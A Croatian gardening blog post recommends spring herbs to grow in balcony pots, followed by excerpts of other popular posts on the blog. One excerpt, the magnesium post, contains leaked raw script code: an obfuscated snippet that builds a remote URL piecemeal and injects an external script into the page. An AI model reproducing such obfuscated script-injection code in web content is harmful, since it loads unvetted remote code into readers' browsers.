KOJE ZAČINSKO BILJE MOŽETE POSADITI SADA?




Koje začinsko bilje možete posaditi sada?



S dolaskom proljeća sve se više okrećemo prirodi, svježem zraku i malim promjenama koje unose novu svježinu u svakodnevicu. Balkon tada postaje idealno mjesto za početak male zelene priče. Ako ste razmišljali o vlastitom začinskom vrtu, sada je pravo vrijeme za prvi korak. U nastavku su biljke koje možete bez problema posaditi već početkom proljeća, a koje će vam kasnije koristiti u kuhinji te uljepšati vaš prostor.




Što vam je potrebno za početak?

Za uzgoj začinskog bilja na balkonu ne treba vam puno. Dovoljna je tegla ili posuda s rupicama na dnu, kvalitetna zemlja za cvijeće, malo sunca i redovito zalijevanje. Dobro je imati i tanjurić ispod tegli kako višak vode ne bi curio po balkonu. Uz ove osnovne stvari vrlo brzo možete krenuti sa sadnjom.




Ovo su začinske biljke koje sada možete posaditi:

Peršin

Peršin je jedna od najčešće korištenih biljaka u kuhinji i vrlo je zahvalan za uzgoj. Možete ga posijati već početkom proljeća jer dobro podnosi niže temperature. Najbolje uspijeva na svijetlom mjestu, ali ne na direktnom jakom suncu. Zemlja treba biti stalno lagano vlažna, ali ne previše mokra. Peršin sporije klija pa je važno imati malo strpljenja. Koristi se svjež u juhama, umacima i salatama, a bogat je vitaminima.


Metvica

Metvica je vrlo jednostavna za uzgoj i brzo raste što ju čini idealnom za početnike. Možete ju posaditi kao malu biljku iz trgovine ili iz komadića koji već ima korijen. Voli vlagu i polusjenu pa joj odgovara mjesto gdje nema jakog sunca cijeli dan. Važno je znati da se metvica brzo širi, zato ju je najbolje saditi u zasebnu posudu. Koristi se za čajeve, osvježavajuće napitke i razna jela, a poznata je i po tome što pomaže probavi.


Ružmarin

Ružmarin je mediteranska biljka koja voli sunce i toplinu. Može se saditi u proljeće, ali mu treba zemlja koja ne zadržava vodu i što više svjetla. Ne voli previše vode pa je važno ne pretjerivati sa zalijevanjem. Idealno ga je smjestiti na sunčani dio balkona. Ružmarin se često koristi u pripremi mesa, krumpira i raznih jela, a ima jak, prepoznatljiv miris.


Bosiljak

Bosiljak je osjetljiviji na hladnoću, ali ga već sada možete posijati ako ga držite na toplijem i zaštićenom mjestu. Najbolje uspijeva na suncu i u mekanoj, hranjivoj zemlji. Važno ga je redovito zalijevati, ali bez zadržavanja vode. Kako raste, dobro je povremeno ga skraćivati kako bi bio gušći i bogatiji. Bosiljak je nezaobilazan u jelima poput tjestenine, salata i umaka, osobito u kombinaciji s rajčicom.


Majčina dušica

Majčina dušica još je jedna biljka koja voli sunce i ne zahtijeva puno brige. Možete ju saditi već početkom proljeća, a najbolje uspijeva u suhoj zemlji koja ne zadržava vodu. Ne treba često zalijevanje što ju čini praktičnom za sve koji nemaju puno vremena. Koristi se kao začin za meso, povrće i juhe, a poznata je i po svojim aromatičnim i korisnim svojstvima.


Zaključak

Uz ove biljke vaš balkon može vrlo brzo postati mali mirisni vrt koji ćete rado upotrebljavati svaki dan. Osim što ćete imati svježe začine nadohvat ruke, uživat ćete i u samom procesu uzgoja koji opušta i vraća nas jednostavnim stvarima.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više